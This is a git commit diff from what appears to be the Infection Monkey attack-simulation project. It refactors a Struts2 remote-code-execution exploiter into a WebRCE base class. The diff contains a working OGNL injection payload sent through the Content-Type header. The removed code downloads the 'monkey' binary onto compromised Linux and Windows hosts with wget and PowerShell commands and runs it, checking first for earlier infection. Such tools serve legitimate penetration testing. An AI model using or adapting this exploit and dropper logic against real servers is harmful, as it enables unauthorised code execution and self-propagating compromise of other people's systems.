forked from p34709852/monkey
Merge pull request #168 from VakarisZ/Struts2_with_framework
Struts2 vulnerability with framework
This commit is contained in:
commit
685371a062
|
@ -9,11 +9,7 @@ import unicodedata
|
||||||
import re
|
import re
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from exploit import HostExploiter
|
from web_rce import WebRCE
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
|
||||||
from tools import build_monkey_commandline, HTTPTools
|
|
||||||
from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
|
|
||||||
DROPPER_ARG
|
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
@ -21,166 +17,29 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
# Commands used to check if monkeys already exists
|
|
||||||
FIND_FILE = "ls %s"
|
|
||||||
|
|
||||||
class Struts2Exploiter(HostExploiter):
|
class Struts2Exploiter(WebRCE):
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(Struts2Exploiter, self).__init__(host)
|
super(Struts2Exploiter, self).__init__(host, None)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def get_exploit_config(self):
|
||||||
dropper_path_linux = self._config.dropper_target_path_linux
|
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
|
||||||
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
exploit_config['dropper'] = True
|
||||||
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
return exploit_config
|
||||||
|
|
||||||
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
|
|
||||||
if not ports:
|
|
||||||
LOG.info("All web ports are closed on %r, skipping", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
for port in ports:
|
|
||||||
if port[1]:
|
|
||||||
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
|
||||||
else:
|
|
||||||
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
|
||||||
# Get full URL
|
|
||||||
url = self.get_redirected(current_host)
|
|
||||||
LOG.info("Trying to exploit with struts2")
|
|
||||||
# Check if host is vulnerable and get host os architecture
|
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
return self.exploit_linux(url, dropper_path_linux)
|
|
||||||
else:
|
|
||||||
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
|
||||||
|
|
||||||
def check_remote_file(self, host, path):
|
|
||||||
command = FIND_FILE % path
|
|
||||||
resp = self.exploit(host, command)
|
|
||||||
if 'No such file' in resp:
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
def exploit_linux(self, url, dropper_path):
|
|
||||||
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
|
||||||
if host_arch:
|
|
||||||
self.host.os['machine'] = host_arch
|
|
||||||
if url and host_arch:
|
|
||||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
|
||||||
# If monkey already exists and option not to exploit in that case is selected
|
|
||||||
if self.skip_exist and self.check_remote_file(url, dropper_path):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
# create server for http download.
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
|
||||||
|
|
||||||
command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
|
|
||||||
self.exploit(url, command)
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
LOG.info("Struts2 exploit attempt finished")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_windows(self, url, dropper_paths):
|
|
||||||
"""
|
"""
|
||||||
:param url: Where to send malicious request
|
We need to override this method to get redirected url's
|
||||||
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
:return: Bool. Successfully exploited or not
|
Eg. ports: [[80, False], [443, True]]
|
||||||
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
|
:return: Array of url's to try and attack
|
||||||
"""
|
"""
|
||||||
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
|
||||||
if host_arch:
|
url_list = [self.get_redirected(url) for url in url_list]
|
||||||
self.host.os['machine'] = host_arch
|
return url_list
|
||||||
if url and host_arch:
|
|
||||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
|
||||||
# If monkey already exists and option not to exploit in that case is selected
|
|
||||||
if self.skip_exist:
|
|
||||||
for dropper_path in dropper_paths:
|
|
||||||
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
|
||||||
return True
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
# Select the dir and name for monkey on the host
|
|
||||||
if "windows-32" in src_path:
|
|
||||||
dropper_path = dropper_paths[0]
|
|
||||||
else:
|
|
||||||
dropper_path = dropper_paths[1]
|
|
||||||
# create server for http download.
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
|
|
||||||
# We need to double escape backslashes. Once for payload, twice for command
|
|
||||||
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
|
||||||
|
|
||||||
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
|
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
|
||||||
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
|
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
|
||||||
|
|
||||||
if 'powershell is not recognized' in resp:
|
|
||||||
self.exploit(url, backup_command)
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
LOG.info("Struts2 exploit attempt finished")
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def check_exploit_windows(url):
|
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
|
||||||
if resp and ID_STRING in resp:
|
|
||||||
if "64-bit" in resp:
|
|
||||||
return "64"
|
|
||||||
else:
|
|
||||||
return "32"
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def check_exploit_linux(url):
|
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
|
|
||||||
if resp and ID_STRING in resp:
|
|
||||||
# Pulls architecture string
|
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
|
||||||
arch = arch.group(1)
|
|
||||||
return arch
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_redirected(url):
|
def get_redirected(url):
|
||||||
|
@ -193,13 +52,14 @@ class Struts2Exploiter(HostExploiter):
|
||||||
LOG.error("Can't reach struts2 server")
|
LOG.error("Can't reach struts2 server")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
def exploit(self, url, cmd):
|
||||||
def exploit(url, cmd):
|
|
||||||
"""
|
"""
|
||||||
:param url: Full url to send request to
|
:param url: Full url to send request to
|
||||||
:param cmd: Code to try and execute on host
|
:param cmd: Code to try and execute on host
|
||||||
:return: response
|
:return: response
|
||||||
"""
|
"""
|
||||||
|
cmd = re.sub(r"\\", r"\\\\", cmd)
|
||||||
|
cmd = re.sub(r"'", r"\\'", cmd)
|
||||||
payload = "%%{(#_='multipart/form-data')." \
|
payload = "%%{(#_='multipart/form-data')." \
|
||||||
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||||
"(#_memberAccess?" \
|
"(#_memberAccess?" \
|
||||||
|
@ -232,18 +92,3 @@ class Struts2Exploiter(HostExploiter):
|
||||||
page = e.partial
|
page = e.partial
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_exploitable_ports(host, port_list, names):
|
|
||||||
candidate_services = {}
|
|
||||||
for name in names:
|
|
||||||
chosen_services = {
|
|
||||||
service: host.services[service] for service in host.services if
|
|
||||||
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
|
||||||
}
|
|
||||||
candidate_services.update(chosen_services)
|
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
|
||||||
'tcp-' + str(port) in candidate_services]
|
|
||||||
|
|
||||||
return valid_ports
|
|
||||||
|
|
Loading…
Reference in New Issue